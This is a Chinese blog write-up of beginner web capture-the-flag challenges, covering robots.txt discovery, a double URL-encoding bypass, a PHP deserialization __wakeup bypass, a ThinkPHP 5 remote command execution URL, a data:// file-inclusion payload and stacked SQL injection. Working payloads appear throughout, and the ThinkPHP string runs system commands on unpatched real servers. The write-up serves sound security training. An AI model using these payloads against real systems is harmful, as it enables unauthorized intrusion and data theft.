CTF(Web方向练习题)(持续更新)

1.Training-WWW-Robots
打开应用场景,如下:
在这里插入图片描述
网址后面添加/robots.txt 查看其中内容(robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件),内容如下:
在这里插入图片描述
根据提示,访问/fl0g.php,得到flag值。
cyberpeace{b723b5eabd63b450baeff4d85829c3d6}
2.PHP2
题目描述为在这里插入图片描述
搜索栏http://111.200.241.244:49822/index.phps得到页面的源代码。

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!
"; echo "

Key: xxxxxxx
"; } ?> Can you anthenticate to this website? 

由PHP源代码可以知道,主要解析Access granted!之前的内容,
$_GET[id] = urldecode($_GET[id]); 会对传入的id参数内容,进行一次urlcode().

if($_GET[id] == "admin") 

判断获取的id是否为admin,如果是,则可以获取flag。
在这里,我们需要知道的是,需要从payload读取id = admin,会对s进行两次url解码。第一次admin进行url编码后为%61%64%6d%69%6e。第二次admin = %2561dmin。得到flag为 cyberpeace{f8570244030b4be15bd0639161608641}。url编码表如下:
在这里插入图片描述
3.unserialize3

4.XTCTF(代码审计)

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

推测为PHP反序列化方向的问题

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
        $s=new Demo('fl4g.php');
        $s=serialize($s);
        echo $s;
        $s = str_replace('O:4', 'O:+4',$s); // 绕过正则
        $s = str_replace(':1:', ':2:' ,$s);// 绕过wakeup
        echo base64_encode($s);

?>

得出test.php的运行结果:O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
payload =http://111.200.241.244:61945/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 得出flag
在这里插入图片描述5.php_rce
ThinkPHP 5漏洞
漏洞原理:程序未对控制器进行过滤,导致攻击者可以用斜杠(\)调用任意方法。
在这里插入图片描述利用system函数远程命令执行:/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其中,vars[1][]=(Linux指令)

在url后面添加/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述根据Linux命令,ls命令用于显示文件目录列表
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
在这里插入图片描述可以看到文件目录中有flag,因此进入flag的目录下。111.200.241.244:50037/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag在这里插入图片描述再利用linux中的cat命令查看整个文件。http://111.200.241.244:50037/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述6.Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) #
{
    $page=str_replace("php://", "", $page);
}
include($page);#//文件包含,可以执行page变量中的代码。
?>

include($page)表示题目主要考察文件包含漏洞。
该题目主要考察PHP伪协议,在该博客中有对PHP伪协议详细的介绍,https://www.cnblogs.com/weak-chicken/p/12275806.html。
在上述代码可以看到while中设置strstr()函数,该函数对大小写不敏感,所以要想使用php协议,要改成大写。

在这里插入图片描述在url后面添加?page=data://text/plain,<?php system(“ls”)>
后面的PHP代码将会被实现,"ls"和"dir"均可用于查看当前目录文件。
可以看到,flag值在fl4gisisish3r3.php中。在这里插入图片描述采用cat命令查看可能存在flag值的文件。
在这里插入图片描述PHP源代码不显示内容,采用页面源代码。
在这里插入图片描述
7.supersqli

在这里插入图片描述判断网站是否存在注入情况:https://www.cnblogs.com/SCHAOGES/p/10889654.html
在这里插入图片描述可能存在字符注入。

1';show databases;#展示所有的数据库。

在这里插入图片描述

1';use supersqli; #使用该数据库
1';show tables; #展示该数据库下所有的表

在这里插入图片描述
可以看出得到两个表,1919810931114514和words。
因为我们无法确认哪个表中有flag,因此我们需要查看两个表中的列名。

1'; show columns from `words`; #查看word表的值,注意这里的反引号。

在这里插入图片描述没有flag有关的列值因此,查看另一个表。

1'; show columns from `1919810931114514`;

在这里插入图片描述此时,我们需要思考如何回显flag的值。
在之前的测试中,发现网页会自动过滤select、insert等字段
在这里插入图片描述

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
1' or '1'='1

在这里插入图片描述
7.ics-06
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹

  • 6
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值